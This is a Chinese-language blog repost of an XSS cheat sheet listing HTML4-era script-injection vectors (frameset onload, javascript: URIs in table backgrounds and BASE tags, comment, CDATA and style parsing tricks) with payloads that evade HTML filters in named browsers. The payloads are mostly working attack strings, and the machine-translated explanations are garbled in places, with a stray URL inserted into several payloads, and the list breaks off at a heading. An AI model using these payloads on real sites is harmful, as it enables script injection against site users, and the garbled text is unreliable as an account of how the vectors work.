当前位置:首页 > Web开发 > 正文

而Chrome将在about:blank上执行

2024-03-31 Web开发

标签:

HTML4与更早版本的向量 通过<FRAMESET>和onload执行JavaScript

这个经典的向量表白,有几个符号不需要“src”属性来触发onload事件,例如<IFRAME>、<BODY>和<FRAMESET>。

<frameset onload=alert(1)>

适用浏览器与版本

测试效果

技术图片

通过<TABLE>和后台执行JavaScript

Opera 8-10.5+和Internet Explorer 6撑持javascripturi的<TABLE>和其他一些符号的“background”属性。这会导致JavaScript在没有用户交互的情况下执行。问题已在Opera11中解决。

<table background="javascript:alert(1)"></table>

适用浏览器与版本

测试效果

暂无

HTML注释解析问题(1)

此向量显示如何解析注释,以及在允许用户提交的HTML包罗注释时可能呈现的问题。

<!--<img src="--><img src=http://www.mamicode.com/x onerror=alert(1)//">

适用浏览器与版本

测试效果

技术图片

HTML注释解析问题(2)

除此之外<!--->Internet Explorer允许使用<COMMENT>符号。向量显示了如何解析注释,以及在允许用户提交的HTML包罗注释时可能呈现的问题。这个例子切合IE8标准模式。

<comment><img src="</comment><img src=http://www.mamicode.com/x onerror=alert(1)//">

适用浏览器与版本

测试效果

技术图片

CDATA节解析问题

使用CDATA截面在HTML中界说的Firefox和Opera Allow-in the Stripped Form<![“As well as including padding like[……]Cdata[……]。这可能会造成过滤机制的问题,因为这些限定器可用于大规模爆破。Firefox 4 and Opera 11.60 have fixed the issue.然而,现代浏览器为内线SVG或Mathml供给了一个XML分隔断绝分手符,该分隔断绝分手符允许使用CDATA分段()。

<!-- up to Opera 11.52, FF 3.6.28 --> <![><img src="]><img src=http://www.mamicode.com/x onerror=alert(1)//"> <!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --> <svg><![CDATA[><image xlink:href="]]><img src=http://www.mamicode.com/xx:x onerror=alert(2)//"></svg>

适用浏览器与版本

测试效果

技术图片

用于符号模糊措置惩罚惩罚的纯文本符号

这个向量在所有被测试的用户代办代理上都起感化,,并显示了几种过滤解决方案是如何被诱骗接受恶意HTML的。写得欠好的过滤器将假定错误措置惩罚惩罚措施是第一个图像的“src”属性的一部分,并接受传入的数据。

<style><img src="</style><img src=http://www.mamicode.com/x onerror=alert(1)//">

适用浏览器与版本

测试效果

技术图片

通过空列表样式的错误措置惩罚惩罚措施和通过空内容加载措置惩罚惩罚措施

Opera10.5+和更早版本会为<LI>符号触发错误事件,以防无法加载通过样式属性的后台URL。同样适用于“列表样式图像”。在Opera10.10和更早的版本中,更多的标签/样式组合,如background:url()和background-image:url()也可以事情。也可以像content:url(svg)那样进行组合,但目前它对事件和<script>前后的符号很敏感。

<li style=list-style:url() onerror=alert(1)></li> <div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>

适用浏览器与版本

测试效果

暂无

通过<BASE>和JavaScript URI进行链接劫持

<BASE>使用JavaScript uri进行链接劫持可在Internet Explorer、Opera(如果链接URL以#开头,则为O8-10.5)和Safari上运行。执行JavaScript需要用户交互。向量有时需要稍加变动才华适用于所有提到的用户代办代理。Opera 11船或多或少的事情修复,但这个问题仍然存在难以开发的形式,虽然。

<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>

适用浏览器与版本

测试效果

技术图片

通过<SCRIPT>for和event属性执行JavaScript

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/31172.html